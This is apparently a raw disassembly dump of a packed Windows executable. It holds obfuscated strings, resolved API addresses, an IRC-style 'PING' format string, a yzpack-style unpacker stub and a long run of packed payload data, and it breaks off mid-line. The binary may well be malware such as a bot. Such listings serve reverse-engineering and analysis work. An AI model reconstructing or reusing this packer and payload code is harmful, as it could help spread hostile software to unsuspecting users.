aMpRRdJ ; "¬ÁÜÆÁ×êIJà„׆Ï" dd offset aCB ; "çÌס" dd offset dword_41CC14 dd offset dword_41CBDC dd offset aUG ; "îÌÜ£·" dd offset dword_41CC14 align 10h aRONa db 'àÃЮ¼³',0 ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o align 10h aKok1 db '#kok1',0 ; DATA XREF: cAddress:004034CCo ; cAddress:00409422o ... align 4 dd 1Eh dup(0) byte_41DB00 db 0FCh ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o aLoct db '‹Žæâ',0 align 4 dd 1Eh dup(0) byte_41DB80 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DC00 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DC0C dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DD10 dd 0FE87BCF5h, 0C7FCA2ECh, 0A1h, 0 ; DATA XREF: cAddress:off_41DA38o dd 3430032Dh, 62656402h, 2036775h aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 10h aEntry db 'entry',0 align 4 aLoop db 'loop',0 align 10h aPing08x db 'PING :%08X',0 ; DATA XREF: cAddress:00416A54o align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: cAddress:0041684Bo align 10h dword_41DDA0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: cAddress:00416E63o off_41DDB0 dd offset off_4172BC ; DATA XREF: cAddress:off_4172C0o ; cAddress:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DDD0 dd offset off_4172BC ; DATA XREF: cAddress:off_417308o ; cAddress:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DDE8 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DDEC dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DDF0 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DDF4 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DDFC dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DE00 db 0 ; DATA XREF: cAddress:00401B3Bo ; cAddress:00402A89r ... align 8 dword_41DE08 dd 0 ; DATA XREF: cAddress:00403345r ; sub_404CBB+1Br ... dword_41DE0C dd 0 ; DATA XREF: cAddress:00403336o dword_41DE10 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DE18 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DE1C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DE20 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DE24 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DE28 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DE2C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DE30 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DE34 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DE38 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DE3C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DE40 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DE44 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DE48 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DE4C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; cAddress:00408C48r ... dword_41DE50 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_415AF0+4r dword_41DE54 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DE58 dd 71ABC076h ; DATA XREF: cAddress:0040219Dr ; sub_403BD3+17Fw ... dword_41DE5C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E264 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E268 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E270 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E274 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E278 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E27C dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E280 dd 14AE70h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E29C db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E2A0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E2A8 dd 14AE98h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E2C0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E2C8 dd 323A00h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E2CC dd 0 ; DATA XREF: sub_409CB1+6r ; cAddress:00409E35w ... dword_41E2D0 dd 0 ; DATA XREF: cAddress:00409E0Fw ; cAddress:00409E14r ... dword_41E2D4 dd 0 ; DATA XREF: sub_409CB1+F6r ; cAddress:00409E61w ... dword_41E2D8 dd 0 ; DATA XREF: sub_409CB1+B9r ; cAddress:00409E4Bw ... align 10h byte_41E2E0 db 0 ; DATA XREF: cAddress:00409DF9r ; cAddress:00409E66w align 4 dd 101h dup(0) byte_41E6E8 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E868 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41E968 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41E974 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41E97C dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41E980 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EA84 db 0AFh ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... db 0CFh, 0F7h, 22h dd 8848C018h, 0B368C8BAh, 0C033A9h, 0 dword_41EA98 dd 778BADEBh, 11714D53h, 0C9854DFFh, 55D567CFh, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EAAC dd 7D45776h ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EAB0 dd 51458124h ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EAB4 dd 7DDD94E7h ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EAB8 dd 9033F4CFh ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EAC0 db 0DFh ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... db 0FCh, 0EFh, 91h aGmtvMsSA db 'ƒŒ’¢ÕŒèÎÍ™À€',0 align 8 dword_41EAD8 dd 2 dup(0) ; DATA XREF: cAddress:00411923o dword_41EAE0 dd 0 ; DATA XREF: cAddress:0041231Co dword_41EAE4 dd 2 dup(0) ; DATA XREF: cAddress:0041233Eo dword_41EAEC dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EAF0 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EAF4 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; cAddress:00412E83o aPacked_exe db 'packed.exe',0 ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... align 4 dd 3Eh dup(0) dword_41EC00 dd 972AD888h ; DATA XREF: sub_40A9CF+838r ; cAddress:00416909w dword_41EC04 dd 0EADB812Eh ; DATA XREF: cAddress:00416913w dword_41EC08 dd 0A2E310DDh ; DATA XREF: cAddress:0041691Dw dword_41EC0C dd 0A6AB4C31h ; DATA XREF: cAddress:00416927w aPacked_exe_0 db 'packed.exe',0 ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... align 4 dd 3Fh dup(0) dword_41ED18 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EE18 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EE98 db 0 ; DATA XREF: cAddress:loc_403F07r ; cAddress:00403F12o ... align 4 dd 1Fh dup(0) dword_41EF18 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; cAddress:00405D2Bo ... byte_41F018 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 1000h cAddress ends ; Section 3. (virtual address 00021000) ; Virtual size : 0002F000 ( 192512.) ; Section size in file : 0002F000 ( 192512.) ; Offset to raw data for section: 00021000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _yzpack2 segment para public 'DATA' use32 assume cs:_yzpack2 ;org 421000h aMzkernel32 db 'MZKERNEL32',0 align 4 aPe db 'PE',0 align 10h dd 3014Ch, 575D202h, 1246168Ah, 0C3D2h, 10F00E0h, 8010Bh dword_421028 dd 77E805D8h, 77E7A5FDh, 0 ; DATA XREF: start:loc_42127Eo dd 21200h, 4167F1h, 77120000h, 400000h, 1000h, 200h, 4173C8h dd 4211B0h, 4, 0 dd 50000h, 200h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 0Ah, 2 dup(0) dd 2117Ch, 10h, 12h dup(0) dd 0FF41C933h, 13042454h, 2454FFC9h, 0C3F47204h, 0 aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 db 0F0h, 1, 0 dd 1000h, 5 dup(0) dd 0C0000040h, 7273722Eh, 63h, 1000h, 20000h, 0 dd 200h, 3 dup(0) dd 0C0000040h, 707A792Eh, 326B6361h, 2F000h, 21000h, 0C3DDh dd 1, 3 dup(0) dd 0C0000040h, 3 dup(0) dd 21002h, 21028h, 401000h, 421286h, 4210DCh, 2 dup(0) dd 80h dword_4211A8 dd 12FFC4h ; DATA XREF: startw dd offset byte_42D3DF dd 24758B58h, 0E30C4E8Bh, 184D0341h, 55FF51h, 8B144589h dd 458B107Eh, 0E3CF8B18h, 81C8D2Dh, 0B8BF803h, 78411FE3h dd 184D0305h, 0B70F05EBh, 4101EB0Bh, 1475FF51h, 0AB0455FFh dd 0A74C085h, 0EB04C383h, 14C683DDh, 65FFBAEBh, 10h ; =============== S U B R O U T I N E ======================================= public start start proc near arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch xchg esp, ds:dword_4211A8 popa xchg ecx, esp push ebp inc ebp inc ebp push ebp sub ebp, 0CAh push ebp loc_421214: ; CODE XREF: start+1Aj movsb mov bl, 2 loc_421217: ; CODE XREF: start+39j start+7Cj call [esp-14h+arg_10] jnb short loc_421214 xor ecx, ecx call [esp-14h+arg_10] jnb short loc_42123B xor eax, eax call [esp-14h+arg_10] jnb short loc_421249 mov bl, 2 inc ecx mov al, 10h loc_42122F: ; CODE XREF: start+34j call [esp-14h+arg_10] adc al, al jnb short loc_42122F jnz short loc_421274 stosb jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42123B: ; CODE XREF: start+21j call [esp-14h+arg_14] sub ecx, ebx jnz short loc_421252 call [esp-14h+arg_18] jmp short loc_421270 ; --------------------------------------------------------------------------- loc_421249: ; CODE XREF: start+28j lodsb shr eax, 1 jz short loc_42127E adc ecx, ecx jmp short loc_42126D ; --------------------------------------------------------------------------- loc_421252: ; CODE XREF: start+41j xchg eax, ecx dec eax shl eax, 8 lodsb call [esp-14h+arg_18] cmp eax, 7D00h jnb short loc_42126D cmp ah, 5 jnb short loc_42126E cmp eax, 7Fh ja short loc_42126F loc_42126D: ; CODE XREF: start+50j start+61j inc ecx loc_42126E: ; CODE XREF: start+66j inc ecx loc_42126F: ; CODE XREF: start+6Bj xchg eax, ebp loc_421270: ; CODE XREF: start+47j mov eax, ebp mov bl, 1 loc_421274: ; CODE XREF: start+36j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42127E: ; CODE XREF: start+4Cj mov ebp, offset dword_421028 jmp dword ptr [ebp+28h] start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 1C55h dd 8E81EC8Bh, 61C0268h, 9F86583h, 0EB0EFC70h, 0C4458B07h dd 0F188940h, 85703C83h, 38418030h, 6C16840Fh, 0FF230C01h dd 8D3B3443h, 0FEFDA01Eh, 0F9E85006h, 59712E5Ah, 0AC380EACh dd 1A8841F5h, 6A8EFEF0h, 9F265503h, 0CE08758Eh, 6C706C15h dd 0E0A52283h, 8B0DC2C2h, 0C8098D85h, 0EBC70713h, 40D36E4h dd 0DC4714C1h, 50988D21h, 86FEF40Eh, 9153EC55h, 0E88AE42Fh dd 3FB59458h, 37700C68h, 0A2B208C2h, 0BD83229Ch, 7401068Eh dd 0A053EB02h, 1143A16h, 34844575h, 5410520Ch, 0CFE8C253h dd 0C4F2A369h, 9864210Ch, 1E2B43BBh, 1154A15Ah, 0C0850904h dd 0F8112475h, 44E9055Dh, 287028FFh, 0D8D2E988h, 0C3C93B17h dd 0C954691h, 80681BBAh, 0F2328508h, 53D90A8h, 12DC56E9h dd 13CCAC22h, 35804F68h, 157784E8h, 1240673Bh, 72438402h dd 0FC4D8B01h, 8F89C803h, 1C7D830Ah, 41190F12h, 12216879h dd 9D0A4114h, 0A062BBF8h, 0F301A68h, 8492597Bh, 55D78953h dd 4808125Ah, 0D70F0F92h, 381461BFh, 30815A3h, 0BE0F0C12h dd 15F82C40h, 5424755Ch, 8D042D42h, 99F80584h, 41500866h dd 0EB485FA4h, 13B2293Fh, 0D308B1A3h, 0C81348FDh, 51C065B2h dd 90DFFE13h, 57560203h, 0B802AC68h, 84FD54ADh, 158EF10h dd 0DEDB259Bh, 0F591707h, 337D85B6h, 23741941h, 8A5D4690h dd 84BC2A8Bh, 81446830h, 0A65D59C8h, 0C2A52185h, 9F0D101Eh dd 0CD01104Dh, 0DB09FD4Ch, 137544B4h, 30028184h, 6884A7E8h dd 12C0336Dh, 5B04E0E9h, 0B6090622h, 195878E8h, 2D414809h dd 930944A5h, 7129500Eh, 70F32E6h, 507650B5h, 3C3B0C8Dh dd 0A370F08h, 2B5E585h, 14F6690Eh, 6220EBA8h, 0B2410478h dd 0C13913E8h, 0C207537h, 98684DBDh, 52FC3484h, 8C368A19h dd 900E9C17h, 695E108Ah, 8D3DA9C0h, 478490Ch, 0C29447Eh dd 0E8853050h, 28895C0Bh, 712A0E23h, 0E93185ECh, 0B0DA5B8Fh dd 0D8F71FB8h, 83C01B1Ch, 94C11199h, 3C21D733h, 876442BBh dd 2BDB502Eh, 3810E240h, 0E6BD5190h, 2B088281h, 3D274285h dd 762C2044h, 1815600Ch, 0EB0C408Eh, 0B2322557h, 8B2BA589h dd 30180659h, 38CB0B14h, 0D8EF1B33h, 906648BBh, 3D1F944h dd 0B259A10Dh, 9843C420h, 9DFC2C10h, 4F6045BBh, 0B402414Bh dd 0D48A41Ah, 28A5413Eh, 24D04CFCh, 79B227EFh, 9ADE0DF3h dd 9A2A0888h, 392A5911h, 870F3B12h, 48C8AA48h, 8D120394h dd 8DCD94BEh, 3B055232h, 3A3E74C1h, 0C1830C1Ah, 87213B20h dd 853E9E4h, 76BAC772h, 0C337B4F7h, 0CEC88937h, 346ADFF0h dd 5D4C3398h, 1775C5C5h, 48914C39h, 49E91528h, 942946CFh dd 31F401Dh, 954353EDh, 0C436240h, 588B0A54h, 317228A5h dd 2B4A2DB6h, 4212E9F2h, 452441AEh, 0CCB7D517h, 73932805h dd 9729D81Ch, 8644416h, 8B380713h, 0BD685870h, 9C22A994h dd 0F5458A03h, 1E1C8588h, 78658067h, 27A9A94Dh, 0D5CCA4F2h dd 0CD1C5868h, 8BED8F1h, 578A5414h, 0EBC0C388h, 0CA846A2Eh dd 40A02C1Ch, 0A4E817F6h, 626256FAh, 91C28322h, 5811CBC1h dd 0E988A438h, 0AAD3ABDAh, 40D899D0h, 30218623h, 0AC9C4DBEh dd 3B1BA095h, 48E69854h, 0C68D2475h, 14500F5Dh, 4011FBD5h dd 5376E82Dh, 0E7935FBAh, 5425173Eh, 9152B96Ch, 2C5EEA2Eh dd 1D756269h, 0F821F894h, 0BDE0C280h, 21944A51h, 29EDA1Dh dd 96CC682Dh, 2EBD4323h, 0D3E2D410h, 0FEB187Fh, 8965E92Ah dd 30BD2BB1h, 5E5F513Ch, 0FDC251C9h, 0E2516670h, 0C7D2483h dd 0C30D1206h, 53D2E8CFh, 5331968Bh, 25CC38Dh, 0B4E88F78h dd 45891214h, 0E3123DC9h, 2B27077h, 88104D8Ah, 31840448h dd 5FA02452h, 5411C89h, 53912568h, 6741AC0Ch, 12870914h dd 0A69D534Fh, 905258Dh, 4A288A3Bh, 0F7A28D47h, 0F410452Ah dd 92C7093Bh, 0D3469CF8h, 451307EBh, 67BB794h, 337468A3h dd 0FC1B6A17h, 401244D0h, 7D5380A0h, 184BCFA4h, 3D811227h dd 5190DDF4h, 9352A74h, 2AC863A6h, 3CCC53E8h, 0C33C85ECh dd 0CC53F0C8h, 6B965D2Ch, 6221166Eh, 0F2300845h, 0AB895580h dd 910E0452h, 740C8D0Eh, 326A4E12h, 24389E64h, 1E144874h dd 2B1A5220h, 0C9DFC05h, 9072299Bh, 38245321h, 0E5344D9h dd 6343FA38h, 0E6E8B204h, 15A3512Dh, 400C5C90h, 0A15F89Ah dd 800B0B74h, 6815750Dh, 0B8EC99A4h, 590B3543h, 17EB3603h dd 8E28468h, 9180C2Bh, 0B5CC60EBh, 0F5A0F8Ah, 24BBC234h dd 30843DB2h, 0A7680207h, 3F3B7303h, 0B408F8A1h, 0EEA35951h dd 0DB5CC2Eh, 32BAAA2Dh, 0FB0F7A8Dh, 9A4429E6h, 0ECD21CDDh dd 6C158C61h, 0C1D2793Ch, 11F8EC29h, 48187D7Eh, 0D91FBDD6h dd 0E30C5CE2h, 83E1F0C8h, 15A2ECA5h, 64E8424Fh, 9C62980Eh dd 709E2313h, 28E81803h, 5410FCFEh, 0F4E52A88h, 0E239E510h dd 0F8D83094h, 0FDEF088Fh, 8C7CF158h, 339BB42h, 0DE56B752h dd 219A7422h, 0D334282h, 41B1F0BAh, 0B0230EAEh, 108A7A90h dd 0F8DC087Ch, 729FE88Eh, 446A2D31h, 0FC88776Ch, 138CE88Ah dd 0F4AC745h, 0CC64F444h, 66141827h, 14D021F5h, 89CDAC8Bh dd 22DC720Ch, 0DC18C898h, 3414E079h, 0BE563662h, 4D010289h dd 41DEC0BBh, 0AE488591h, 8A77C10h, 0CC1C0271h, 0D826E9D9h dd 8BC89814h, 0A3965D91h, 1BB91827h, 0A8E8DA36h, 0D83D6A0Bh dd 0E0B5C504h, 95B52D75h, 0FDF4B007h, 922BEC32h, 64F7610Ah dd 2018AAA3h, 7E89AE8Ah, 92E888FCh, 900D4F49h, 2AD04C13h dd 1C861E50h, 80458D99h, 0C868AE71h, 0F010BD33h, 0FC9F85FAh dd 51E9D0A4h, 4262590Bh, 19325224h, 3C03E1D0h, 2C0A90FAh dd 8451A250h, 24743F50h, 21BD5681h, 0A896C87Ch, 0E1B8E478h dd 8C027C2h, 330A6A0Bh, 793EEA8Eh, 0F8D409B8h, 0E6F3E1CCh dd 0D07081Ah, 0AC053B45h, 0B242173h, 29F6E7A5h, 97756CA4h dd 99736FC2h, 0F48F318Fh, 0F3A6BD83h, 428C19B0h, 96276CD6h dd 52E5145Eh, 4E8AA108h, 0E422921Dh, 0A885A535h, 8C88077Ch dd 191AAECAh, 9450C068h, 930B91FBh, 1FF45F8Bh, 58D1242Fh dd 0BB867A31h, 429CA68Fh, 74514DFBh, 0C7366CABh, 45B4B12Bh dd 45F2368h, 0EDEB6426h, 1958010Bh, 747651EDh, 26129823h dd 0C4C2D195h, 5C3229ABh, 2C6835C8h, 84CB8259h, 0E90771D0h dd 1CB80B90h, 4D4A96E8h, 967ADF68h, 6B164B0Dh, 410CDB9h dd 215C801Ch, 100204E2h, 2884417Dh, 4A581868h, 81AF4401h dd 77A44419h, 839B1022h, 682B9E04h, 0D9A28214h, 6858E814h dd 170AA171h, 65A4FA54h, 0F468250Fh, 0EF02F512h, 0B7E7B70Bh dd 90060488h, 0FA20A1D6h, 4C42FD08h, 6471ECCFh, 0E3254530h dd 0E8683AFFh, 0E86212C7h, 667A909h, 0A31D1C02h, 630C5BD6h dd 44FC20DFh, 1B6178C8h, 27101102h, 492ED626h, 0FBE8CE60h dd 322DE885h, 6689BD32h, 8C15931Dh, 1C7E1F75h, 7AA85184h dd 8E7D4B0Ch, 0CAC7D04Ch, 82237B24h, 0D7B38B94h, 98807B82h dd 84FC5396h, 93B62A27h, 6247C3AEh, 0FA18BA87h, 12FCA522h dd 49BA8209h, 0B551C3E6h, 48D60172h, 29DD6D72h, 42BBC310h dd 81299948h, 76593209h, 8B7C5640h, 3955999h, 0C892A23h dd 90A176DDh, 8D0CC84Ch, 0E3AC046Ah, 24E82CC4h, 0C8C33426h dd 50C6DCDh, 9CB7123Bh, 4B7BC64Bh, 664A1089h, 16567320h dd 0CE1A59CBh, 6A7510E4h, 0E20E754Dh, 0D42C4B8Eh, 70E38B14h dd 0D7391929h, 6365DFAAh dd 0E562481Bh, 991FA38Bh, 0E08486B9h, 28F964F7h, 6DB4A08h dd 49DD984h, 5937E846h, 0B82B2B55h, 640433Ah, 70352AD8h dd 0A1BDECC6h, 0DDC45123h, 0E824141Ch, 0FCB1280Fh, 0B4DB09F9h dd 78221529h, 34486884h, 0B4AEF17Ch, 0B7AE2008h, 0AE4AE322h dd 32E23812h, 0ACB1D148h, 0D640D76h, 0A489B3D6h, 0A1C088Ah dd 0EF02CC88h, 7342F7C8h, 627B164Ah, 18415486h, 0FA28A49h dd 325CF608h, 0BF211E6Fh, 0F6FB84FFh, 9B177522h, 100E112Bh dd 11E814F6h, 0EB297132h, 9D2C2D33h, 10F74142h, 1E52755Ch dd 45C24A13h, 21319C42h, 0A2A049E0h, 7586A04Ah, 92104933h dd 0C60A8D2Ah, 40F04546h, 4BADAB38h, 7240E244h, 0B2026A04h dd 401144Ch, 0F9EC1322h, 29100534h, 58446228h, 266951DEh dd 0F71C8817h, 0C275B188h, 58520335h, 0F544B4B2h, 13882E68h dd 0E8834CFBh, 41E22337h, 5DA0C01Ch, 0A99DFA4Dh, 0D1E88723h dd 6C190B24h, 0DAE64D04h, 5C55311Ah, 6CB1E01Ch, 0E283780Dh dd 597D294Ah, 148FA149h, 6E0C9AD0h, 0F6042262h, 422A7F38h dd 8E1B4144h, 0CF099F45h, 84142E90h, 80994937h, 8B090E08h dd 8FF8992Ah, 0C82444D1h, 0EAFAC813h, 6468E23Fh, 0C208599h dd 64B15E7Bh, 0CF3A1123h, 15A129D4h, 0FA412544h, 3D8E4ACCh dd 0C9C84843h, 60681860h, 0B910D1EAh, 9925FAC4h, 9F9E50Ah dd 7445B4FFh, 82092409h, 97BB2B2Ah, 0CAD8A45h, 29539531h dd 743184EAh, 193EED67h, 8B770C64h, 4CAC7599h, 107F2095h dd 0DE88F845h, 0FB4C026Bh, 0A10C1147h, 19256051h, 0F00201A8h dd 84480818h, 0F421CBB2h, 9D0C35F5h, 2CFCFF47h, 0E72D06Ah dd 1A683243h, 0D79F4EAFh, 0C227352Fh, 8DBC27A0h, 82F46814h dd 1859E285h, 96DAE910h, 0B3541402h, 0F71C0835h, 5D08DE59h dd 0A94DE888h, 640D39AEh, 0DFB4023h, 0F821F4FBh, 0F03F1AF5h dd 8ED7642h, 1411F9ECh, 420C0847h, 1DAB7DF6h, 232856B4h dd 7A0AF9ECh, 88284652h, 0B5D06EE4h, 0CE1B239Dh, 8BE7B021h dd 0D223BBDBh, 2ECB23F9h, 0F7142184h, 2346B411h, 27E184B4h dd 72437D38h, 9D04EB1Ch, 73C817CAh, 0C928331h, 12193D71h dd 1906100Ch, 81061440h, 228B3918h, 0AFF5AF5h, 27507EC8h dd 2E73F763h, 8176229Ah, 648BFFD5h, 1C30D540h, 418C5EE8h dd 3233CEF4h, 0B5414031h, 13156429h, 8E45E6E8h, 9C3264B0h dd 0E3216A44h, 8D88FAAh, 0E1DB4901h, 20171015h, 70C14725h dd 5144486h, 9388294Ah, 2A19A4A8h, 899F066Ah, 92080216h dd 0C123DC8Ch, 8889F44Dh, 682B8D2Fh, 13977A3h, 67673388h dd 0C30C4CA9h, 7C681007h, 0C4B7A9DCh, 9C441E38h, 322A396Fh dd 18440662h, 90422B95h, 4F1DE854h, 61796845h, 1290C6ADh dd 4446FBF8h, 0C6D18B43h, 6844DC85h, 8885A08Bh, 119020C2h dd 209181F3h, 0A5FE3804h, 0C15F095Ah, 0F6392A54h, 27FBEC84h dd 78BD06Eh, 3569222h, 0A41A7EAAh, 5D8310FDh, 0FBFC8450h dd 4AC6E845h, 0C40F1472h, 0F4594E49h, 0B5D4DC0Eh, 2C3D4844h dd 6D684B2Ch, 1FC83CA1h, 992D1962h, 0DA0DE077h, 1336C212h dd 13E62909h, 2C3D8B26h, 22CA1EB1h, 29644883h, 3F648141h dd 0F0742256h, 91D03EAEh, 0E408C835h, 228B4A95h, 2B21564Ah dd 44D8680Ah, 3143AA5Bh, 10DA0DF4h, 8B540E74h, 2EA93B0Fh dd 0B6525876h, 43222B46h, 0E4A58311h, 86F08B6Eh, 0D0A3C068h dd 0E81A344Ch, 2D6A0A5h, 5150F865h, 75011506h, 9EE42BD3h dd 4C316A65h, 7D1101F7h, 2CE69424h, 72028222h, 0FADB010h dd 323DE0B7h, 743A5A4Dh, 1C3832B1h, 204186C5h, 0B92C1D2Bh dd 2C358DA8h, 42380889h, 82B3F43h, 7E431B4h, 442B9472h dd 0ED258020h, 0F3EEAC42h, 94B6FE0Dh, 112AD623h, 1C266863h dd 8D1C8B23h, 2B432A64h, 0E0DA22C1h, 515BC8F0h, 19B5EB0Ah dd 9D93E80Dh, 273ABF54h, 4AE42C65h, 0A0088910h, 292840B3h dd 17A2B483h, 3A602029h, 218F5829h, 9857907Fh, 59E958B6h dd 3149E9E3h, 1E2AC5A9h, 6457288Ah, 12C23D01h, 2966FB2Bh dd 3B84DF89h, 46E0D922h, 29E442E0h, 0CB88361Ch, 29CA7041h dd 5A14DDBBh, 0E00C991Ch, 289D1214h, 41579A35h, 45E343F9h dd 5CE71D4Dh, 54A61DE8h, 76C87743h, 60A7E148h, 82FEEE23h dd 0C6CA8C66h, 0D85A075Dh, 570840FAh, 38AF682Fh, 84F9C4FBh dd 62410221h, 0C81940F1h, 24C4D638h, 41B850F8h, 9260C614h dd 0C788FD78h, 97747785h, 0F93481B8h, 432EA089h, 7C85884Eh dd 1F6A2D15h, 0BD8D0CD3h, 39F3177Dh, 0AA2966ABh, 0F944881Bh dd 3BEE4559h, 31387A21h, 4AFACCC6h, 908B296Ah, 0CC8C87A5h dd 0FBD04298h, 86AA5210h, 68076A1Dh, 9B712D74h, 8D767DE8h dd 0F398F48h, 0A19F94F4h, 0F3CF444Ah, 46602562h, 146664C3h dd 0F8834364h, 9A25DA20h, 8C663923h, 0A9EC100Fh, 23EB1082h dd 2539419Ah, 0C7230F5Ch, 0F9E86F28h, 9B6BDD88h, 6CD08CFh dd 0AC3B43Ah, 5AA19C2Ch, 4032233Fh, 78A8B3EDh, 0FCFF0DF1h dd 4061324h, 941B847Ch, 0A41A2541h, 8F1C895h, 0FDCBA33Ah dd 0E1DEC5ACh, 0E19D91EFh, 3683020h, 69523619h, 184B198Fh dd 752F9C98h, 43E5752h, 2B05A480h, 0A62C6B98h, 15ED389Eh dd 33CAC758h, 2614B38h, 503F5CC8h, 58B014A7h, 83013ED1h dd 38920F8Dh, 0D7E983D1h, 700A4305h, 3B7C30A0h, 394119A7h dd 4C1A227Fh, 8A0640BEh, 88771EA4h, 499C0D52h, 0B37937B1h dd 39A4B65Fh, 0EDA48ACBh, 47903C54h, 40751D42h, 3835BDD3h dd 50685481h, 65D442A1h, 74A83529h, 143662BBh, 0A34BDB9h dd 6A0D0633h, 4B4868A9h, 6436215Ah, 87443866h, 0C43DCF88h dd 43BA68CEh, 8A02883Dh, 88323868h, 9D44FD7Ch, 44133234h dd 318A30A4h, 57A286E9h, 0CF3043DAh, 3DA270B6h, 0C42C431Ch dd 292F3D4Fh, 3E4803Ah, 0CB2FEB44h, 898770AFh, 8E5BA718h dd 2E62AF24h, 41E3069h, 0F7C2AA99h, 0AA67153Ch, 2FD5C08h dd 4217BA8Eh, 5162A60h, 0D884FC0Ah, 